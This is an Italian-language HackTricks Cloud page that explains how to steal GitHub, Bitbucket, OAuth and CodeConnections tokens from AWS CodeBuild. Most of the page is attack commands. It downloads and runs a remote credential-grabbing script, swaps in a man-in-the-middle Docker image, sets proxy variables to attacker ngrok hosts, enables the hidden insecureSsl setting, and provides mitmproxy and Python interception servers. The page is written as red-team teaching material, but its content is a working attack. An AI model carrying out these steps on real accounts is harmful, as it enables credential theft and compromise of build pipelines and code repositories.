AWS Codebuild - Token Leakage
Tip
Impara & pratica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Impara & pratica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Impara & pratica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Sostieni HackTricks
- Controlla i subscription plans!
- Unisciti al 💬 Discord group o al telegram group o seguici su Twitter 🐦 @hacktricks_live.
- Condividi hacking tricks inviando PRs ai HackTricks e HackTricks Cloud github repos.
Recuperare Tokens configurati di Github/Bitbucket
Innanzitutto, verifica se sono configurate source credentials che potresti leak:
aws codebuild list-source-credentials
Via RCE in CodeBuild Job
Da dentro un CodeBuild job puoi colpire un endpoint API non documentato di AWS CodeBuild che ti restituirà le credenziali usate da CodeBuild. Questo può essere usato per ottenere le credenziali con cui il CodeBuild job è stato configurato, ad esempio le credenziali AWS CodeConnection, OAUTH o PAT. Il CodeBuild job non deve essere privilegiato per chiamare questo endpoint ed è inoltre difficile da rilevare nei log e nei sistemi di monitoring, poiché lo stesso CodeBuild chiama questo endpoint più volte all’avvio.
La tecnica è spiegata più in dettaglio in https://thomaspreece.com/2026/03/23/part-2-aws-codebuild-escalating-privileges-via-aws-codeconnections/ ma in sintesi, per ottenere le credenziali all’interno del CodeBuild job basta eseguire quanto segue:
python -m pip install botocore boto3 requests
wget https://raw.githubusercontent.com/thomaspreece/AWS-CodeFactoryTokenService-API/refs/heads/main/GetBuildInfo.py
python ./GetBuildInfo.py
Via Docker Image
Se trovi che l’autenticazione, ad esempio a Github, è configurata nell’account, puoi exfiltrate quell’access (GH token or OAuth token) facendo in modo che Codebuild use an specific docker image per eseguire la build del progetto.
A questo scopo puoi create a new Codebuild project o modificare l’environment di uno esistente per impostare la Docker image.
The Docker image you could use is https://github.com/carlospolop/docker-mitm. Questa è una immagine Docker molto basilare che imposterà le env variables https_proxy, http_proxy e SSL_CERT_FILE. Questo ti permetterà di intercettare la maggior parte del traffico dell’host indicato in https_proxy e http_proxy e di fidarti del SSL CERT indicato in SSL_CERT_FILE.
- Create & Upload your own Docker MitM image
- Segui le istruzioni del repo per impostare il tuo indirizzo IP del proxy e configurare il tuo certificato SSL e build the docker image.
- DO NOT SET
http_proxyper non intercettare le richieste all’endpoint metadata. - Puoi usare
ngroktipongrok tcp 4444per impostare il proxy verso il tuo host - Una volta che hai buildato l’immagine Docker, upload it to a public repo (Dockerhub, ECR…)
- Set the environment
- Crea un new Codebuild project o modify l’environment di uno esistente.
- Imposta il progetto per usare la previously generated Docker image
.png)
- Set the MitM proxy in your host
- Come indicato nel Github repo puoi usare qualcosa del tipo:
mitmproxy --listen-port 4444 --allow-hosts "github.com"
Tip
La versione di mitmproxy utilizzata era la 9.0.1, è stato segnalato che con la versione 10 questo potrebbe non funzionare.
- Esegui la build & cattura le credenziali
- Puoi vedere il token nell’header Authorization:
.png)
Questo può essere fatto anche dall’aws cli con un comando come
# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
## With /tmp/buildspec.json
{
"name": "my-demo-project",
"source": {
"type": "GITHUB",
"location": "https://github.com/uname/repo",
"buildspec": "buildspec.yml"
},
"artifacts": {
"type": "NO_ARTIFACTS"
},
"environment": {
"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
"image": "docker.io/carlospolop/docker-mitm:v12",
"computeType": "BUILD_GENERAL1_SMALL",
"imagePullCredentialsType": "CODEBUILD"
}
}
## Json
# Start the build
aws codebuild start-build --project-name my-project2
Tramite insecureSSL
I progetti Codebuild hanno un’impostazione chiamata insecureSsl che è nascosta nell’interfaccia web e può essere modificata solo tramite l’API.
Abilitandola, permette a Codebuild di connettersi al repository senza verificare il certificato offerto dalla piattaforma.
- Per prima cosa è necessario enumerare la configurazione corrente con qualcosa del tipo:
aws codebuild batch-get-projects --name <proj-name>
- Poi, con le informazioni raccolte puoi aggiornare l’impostazione del progetto
insecureSslsuTrue. Di seguito un esempio del mio aggiornamento di un progetto; nota ilinsecureSsl=Truealla fine (questa è l’unica cosa che devi cambiare rispetto alla configurazione raccolta). - Inoltre, aggiungi anche le variabili d’ambiente
http_proxyehttps_proxyche puntano al tuo tcp ngrok, per esempio:
aws codebuild update-project --name <proj-name> \
--source '{
"type": "GITHUB",
"location": "https://github.com/carlospolop/404checker",
"gitCloneDepth": 1,
"gitSubmodulesConfig": {
"fetchSubmodules": false
},
"buildspec": "version: 0.2\n\nphases:\n build:\n commands:\n - echo \"sad\"\n",
"auth": {
"type": "CODECONNECTIONS",
"resource": "arn:aws:codeconnections:eu-west-1:947247140022:connection/46cf78ac-7f60-4d7d-bf86-5011cfd3f4be"
},
"reportBuildStatus": false,
"insecureSsl": true
}' \
--environment '{
"type": "LINUX_CONTAINER",
"image": "aws/codebuild/standard:5.0",
"computeType": "BUILD_GENERAL1_SMALL",
"environmentVariables": [
{
"name": "http_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
},
{
"name": "https_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
}
]
}'
- Quindi, esegui l’esempio di base da https://github.com/synchronizing/mitm sulla porta indicata dalle variabili proxy (http_proxy e https_proxy)
from mitm import MITM, protocol, middleware, crypto
mitm = MITM(
host="127.0.0.1",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
- Infine, clicca su Build the project, le credentials saranno inviate in chiaro (base64) alla porta mitm:
 (1).png)
Tramite protocollo HTTP
[!TIP] > Questa vulnerabilità è stata corretta da AWS in un momento della settimana del 20 Febbraio 2023 (credo venerdì). Quindi un attaccante non può più abusarne :)
Un attaccante con permessi elevati su un CodeBuild potrebbe effettuare un leak del token Github/Bitbucket configurato o, se i permessi erano configurati via OAuth, il token OAuth temporaneo usato per accedere al codice.
- Un attaccante potrebbe aggiungere le variabili d’ambiente http_proxy e https_proxy al progetto CodeBuild puntando alla sua macchina (per esempio
http://5.tcp.eu.ngrok.io:14972).
.png)
.png)
- Poi, cambia l’URL del repo github per usare HTTP invece di HTTPS, per esempio:
http://github.com/carlospolop-forks/TestActions - Quindi, esegui l’esempio base da https://github.com/synchronizing/mitm sulla porta indicata dalle variabili proxy (http_proxy e https_proxy)
from mitm import MITM, protocol, middleware, crypto
mitm = MITM(
host="0.0.0.0",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
- Successivamente, fai clic su Build the project o avvia la build dalla riga di comando:
aws codebuild start-build --project-name <proj-name>
- Finalmente, le credentials saranno inviate in chiaro (base64) alla porta mitm:
.png)
Warning
Ora un attacker sarà in grado di usare il token dalla sua macchina, elencare tutti i privilegi che possiede e (ab)usare più facilmente rispetto all’uso diretto del servizio CodeBuild.
Untrusted PR execution via webhook filter misconfiguration
Per la PR-triggered webhook bypass chain (ACTOR_ACCOUNT_ID regex + untrusted PR execution), verifica:
AWS CodeBuild - Untrusted PR Webhook Bypass (CodeBreach-style)
Tip
Impara & pratica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Impara & pratica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Impara & pratica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Sostieni HackTricks
- Controlla i subscription plans!
- Unisciti al 💬 Discord group o al telegram group o seguici su Twitter 🐦 @hacktricks_live.
- Condividi hacking tricks inviando PRs ai HackTricks e HackTricks Cloud github repos.
HackTricks Cloud

